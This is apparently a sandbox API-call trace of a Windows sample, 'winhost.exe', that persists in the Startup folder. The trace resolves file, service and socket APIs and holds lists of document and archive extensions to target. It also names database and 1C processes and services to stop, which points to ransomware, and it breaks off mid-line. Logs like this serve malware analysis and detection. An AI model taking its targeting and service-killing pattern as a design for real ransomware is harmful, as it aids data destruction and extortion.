Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 358 os_tid = 0xe68 Thread: id = 359 os_tid = 0xe74 Thread: id = 360 os_tid = 0xe94 Thread: id = 361 os_tid = 0xea0 Thread: id = 362 os_tid = 0xea4 Process: id = "28" image_name = "winhost.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0x23bcb000" os_pid = "0xea8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0xd00" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 363 os_tid = 0xeac [0244.003] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73f50000 [0244.003] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcAddress") returned 0x73f651b0 [0244.003] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleHandleW") returned 0x73f650d0 [0244.003] GetProcAddress (hModule=0x73f50000, lpProcName="FindNextFileW") returned 0x73fbee40 [0244.003] GetProcAddress (hModule=0x73f50000, lpProcName="FindClose") returned 0x73fbed70 [0244.003] GetProcAddress (hModule=0x73f50000, lpProcName="MoveFileW") returned 0x73f9e500 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileSizeEx") returned 0x73fbef40 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleFileNameW") returned 0x73f65090 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileAttributesW") returned 0x73fbef10 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="ExitProcess") returned 0x73f63cb0 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetCommandLineW") returned 0x73f64cc0 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameW") returned 0x73f932c0 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameA") returned 0x73f93780 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="CreateMutexW") returned 0x73fbeb70 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenW") returned 0x73f66c70 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenA") returned 0x73f66c50 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcess") returned 0x73fbea10 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForSingleObject") returned 0x73fbeca0 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetLogicalDrives") returned 0x73f60d20 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="GetTickCount") returned 0x73fbdd50 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteFileW") returned 0x73fbed40 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="WideCharToMultiByte") returned 0x73f66b10 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73fbebb0 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="Sleep") returned 0x73f66760 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="LeaveCriticalSection") returned 0x7704b250 [0244.004] GetProcAddress (hModule=0x73f50000, lpProcName="ReadFile") returned 0x73fbf090 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="CreateFileW") returned 0x73fbed10 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="OpenMutexW") returned 0x73fbebf0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="EnterCriticalSection") returned 0x7704b2d0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForMultipleObjects") returned 0x73fbec80 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiW") returned 0x73f66bf0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiA") returned 0x73f66bd0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteCriticalSection") returned 0x7702fb90 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="ReleaseMutex") returned 0x73fbec20 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="CloseHandle") returned 0x73fbeab0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="GetVersion") returned 0x73f656c0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="CreateThread") returned 0x73f646b0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="ExpandEnvironmentStringsW") returned 0x73f64a40 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceCounter") returned 0x73f65da0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceFrequency") returned 0x73f65dc0 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcessId") returned 0x73fbea20 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="SetFileAttributesW") returned 0x73fbf100 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="GetVolumeInformationW") returned 0x73fbf020 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="WriteFile") returned 0x73fbf180 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="SetFilePointerEx") returned 0x73fbf130 [0244.005] GetProcAddress (hModule=0x73f50000, lpProcName="SetEndOfFile") returned 0x73fbf0e0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="FindFirstFileW") returned 0x73fbedf0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcessHeap") returned 0x73f651f0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="HeapReAlloc") returned 0x7703f630 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="HeapAlloc") returned 0x77042dc0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="HeapFree") returned 0x73f657f0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="CreatePipe") returned 0x73f64590 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="SetHandleInformation") returned 0x73fbeae0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="CreateProcessW") returned 0x73f64610 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringW") returned 0x73f64430 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringA") returned 0x73f64410 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="OpenProcess") returned 0x73f65cc0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="TerminateProcess") returned 0x73f667e0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="GetSystemTime") returned 0x73f654e0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="SystemTimeToFileTime") returned 0x73f667a0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="GetLastError") returned 0x73f65010 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="CreateToolhelp32Snapshot") returned 0x73f9edc0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="Process32NextW") returned 0x73f9f8f0 [0244.006] GetProcAddress (hModule=0x73f50000, lpProcName="Process32FirstW") returned 0x73f9f750 [0244.006] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74a40000 [0244.032] GetProcAddress (hModule=0x74a40000, lpProcName="RegOpenKeyExW") returned 0x74a5e580 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="RegQueryValueExW") returned 0x74a5e5a0 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="RegSetValueExW") returned 0x74a5f530 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="RegCloseKey") returned 0x74a5ed60 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="OpenProcessToken") returned 0x74a5efb0 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="GetTokenInformation") returned 0x74a5ee90 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="OpenSCManagerW") returned 0x74a60540 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="OpenServiceW") returned 0x74a5fa20 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="CloseServiceHandle") returned 0x74a5fc00 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="ControlService") returned 0x74a726d0 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="QueryServiceStatus") returned 0x74a62380 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="EnumDependentServicesW") returned 0x74a72f70 [0244.033] GetProcAddress (hModule=0x74a40000, lpProcName="EnumServicesStatusExW") returned 0x74a5fc80 [0244.033] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74020000 [0244.328] GetProcAddress (hModule=0x74020000, lpProcName="SystemParametersInfoW") returned 0x7404f210 [0244.328] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x758a0000 [0244.828] GetProcAddress (hModule=0x758a0000, lpProcName="ShellExecuteExW") returned 0x75a04730 [0244.828] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77000000 [0244.828] GetProcAddress (hModule=0x77000000, lpProcName="NtQuerySystemInformation") returned 0x77072070 [0244.828] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0244.837] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02640 [0244.837] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02790 [0244.837] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a02410 [0244.837] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75470000 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="WSAStartup") returned 0x75475b40 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="socket") returned 0x75484510 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="send") returned 0x75475030 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="recv") returned 0x75480c50 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="connect") returned 0x75475410 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="closesocket") returned 0x75480910 [0244.840] GetProcAddress (hModule=0x75470000, lpProcName="gethostbyname") returned 0x754a6cb0 [0244.841] GetProcAddress (hModule=0x75470000, lpProcName="inet_addr") returned 0x75489160 [0244.841] GetProcAddress (hModule=0x75470000, lpProcName="ntohl") returned 0x754749d0 [0244.841] GetProcAddress (hModule=0x75470000, lpProcName="htonl") returned 0x754749d0 [0244.841] GetProcAddress (hModule=0x75470000, lpProcName="htons") returned 0x75488ff0 [0244.841] GetProcessHeap () returned 0x520000 [0244.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x52ae50 [0244.841] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6220965051) returned 1 [0244.842] GetTickCount () returned 0x1139b6b [0244.842] GetCurrentProcessId () returned 0xea8 [0244.843] GetTickCount () returned 0x1139b6b [0244.843] GetTickCount () returned 0x1139b6b [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x52b0f8 [0244.843] GetVersion () returned 0x23f00206 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7) returned 0x536e90 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x538038 [0244.843] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538038, Size=0x20) returned 0x52aec8 [0244.843] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x52aec8, Size=0x40) returned 0x537a88 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x53e878 [0244.843] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7A") returned 0x1ec [0244.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e90 | out: hHeap=0x520000) returned 1 [0244.843] lstrlenW (lpString="Global\\syncronize_") returned 18 [0244.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a88 | out: hHeap=0x520000) returned 1 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7) returned 0x536e90 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x537f48 [0244.843] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537f48, Size=0x20) returned 0x52aec8 [0244.843] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x52aec8, Size=0x40) returned 0x5377b8 [0244.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x54e880 [0244.844] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7U") returned 0x1f0 [0244.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e90 | out: hHeap=0x520000) returned 1 [0244.844] lstrlenW (lpString="Global\\syncronize_") returned 18 [0244.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377b8 | out: hHeap=0x520000) returned 1 [0244.844] GetVersion () returned 0x23f00206 [0244.844] GetCurrentProcess () returned 0xffffffff [0244.844] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0244.844] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0244.844] CloseHandle (hObject=0x1f4) returned 1 [0244.844] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0244.844] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5360c0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x537eb8 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537eb8, Size=0x20) returned 0x52aec8 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x52aec8, Size=0x40) returned 0x537ba8 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537ba8, Size=0x80) returned 0x536838 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536838, Size=0x100) returned 0x537d58 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x53a598 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536e90 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536f10 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ea0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x537eb8 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536ed0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x537f48 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536ed0, Size=0x8) returned 0x536ee0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x537f60 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536ee0, Size=0x10) returned 0x537ff0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x538038 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x537f78 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537ff0, Size=0x20) returned 0x52aec8 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x537ff0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x538008 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536e90, Size=0x8) returned 0x536ed0 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536f10, Size=0x8) returned 0x536e90 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ee0 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x538050 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536f10 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x538068 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536f10, Size=0x8) returned 0x536f30 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5381d0 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536f30, Size=0x10) returned 0x5381b8 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5381e8 [0244.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536f30 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5381b8, Size=0x20) returned 0x55ede0 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536ed0, Size=0x10) returned 0x538278 [0244.844] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536e90, Size=0x10) returned 0x538230 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536e90 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x538248 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536ed0 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x538200 [0244.845] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536ed0, Size=0x8) returned 0x536f10 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ed0 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x538218 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536f40 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x538260 [0244.845] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x536f40, Size=0x8) returned 0x55f100 [0244.845] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538278, Size=0x20) returned 0x55ef20 [0244.845] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538230, Size=0x20) returned 0x55f060 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f120 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x538230 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55f260 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5381b8 [0244.845] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f260, Size=0x8) returned 0x55f110 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x536240 [0244.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x536060 [0244.845] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0244.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d58 | out: hHeap=0x520000) returned 1 [0244.845] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x538278 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538278, Size=0x20) returned 0x55ef48 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ef48, Size=0x40) returned 0x537578 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537578, Size=0x80) returned 0x537d58 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537d58, Size=0x100) returned 0x537d58 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x538278 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538278, Size=0x20) returned 0x55ee08 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ee08, Size=0x40) returned 0x537a88 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537a88, Size=0x80) returned 0x538618 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x538618, Size=0x100) returned 0x538618 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x538278 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55f2a0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f2a0, Size=0x8) returned 0x55f1e0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5363e0 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f1e0, Size=0x10) returned 0x563cb0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536320 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x55ee08 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563cb0, Size=0x20) returned 0x55f038 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x55efe8 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x536260 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x55f010 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563cb0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55f150 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x537a88 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f150, Size=0x8) returned 0x55f0f0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c) returned 0x5379f8 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f0f0, Size=0x10) returned 0x563c68 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5361e0 [0244.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536160 [0244.847] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c68, Size=0x20) returned 0x55eed0 [0244.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x535718 [0244.848] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0244.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d58 | out: hHeap=0x520000) returned 1 [0244.848] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0244.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x538618 | out: hHeap=0x520000) returned 1 [0244.848] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55eea8 [0244.850] EnumServicesStatusExW (in: hSCManager=0x55eea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0244.850] GetLastError () returned 0xea [0244.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b30) returned 0x566400 [0244.850] EnumServicesStatusExW (in: hSCManager=0x55eea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x566400, cbBufSize=0x1b30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x566400, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0244.851] CloseServiceHandle (hSCObject=0x55eea8) returned 1 [0244.851] lstrlenW (lpString="Appinfo") returned 7 [0244.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0244.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0244.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0244.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0244.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0244.852] lstrlenW (lpString="AppXSvc") returned 7 [0244.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0244.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0244.852] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0244.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0244.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0244.852] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.853] lstrlenW (lpString="Audiosrv") returned 8 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0244.853] lstrlenW (lpString="BFE") returned 3 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.853] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") 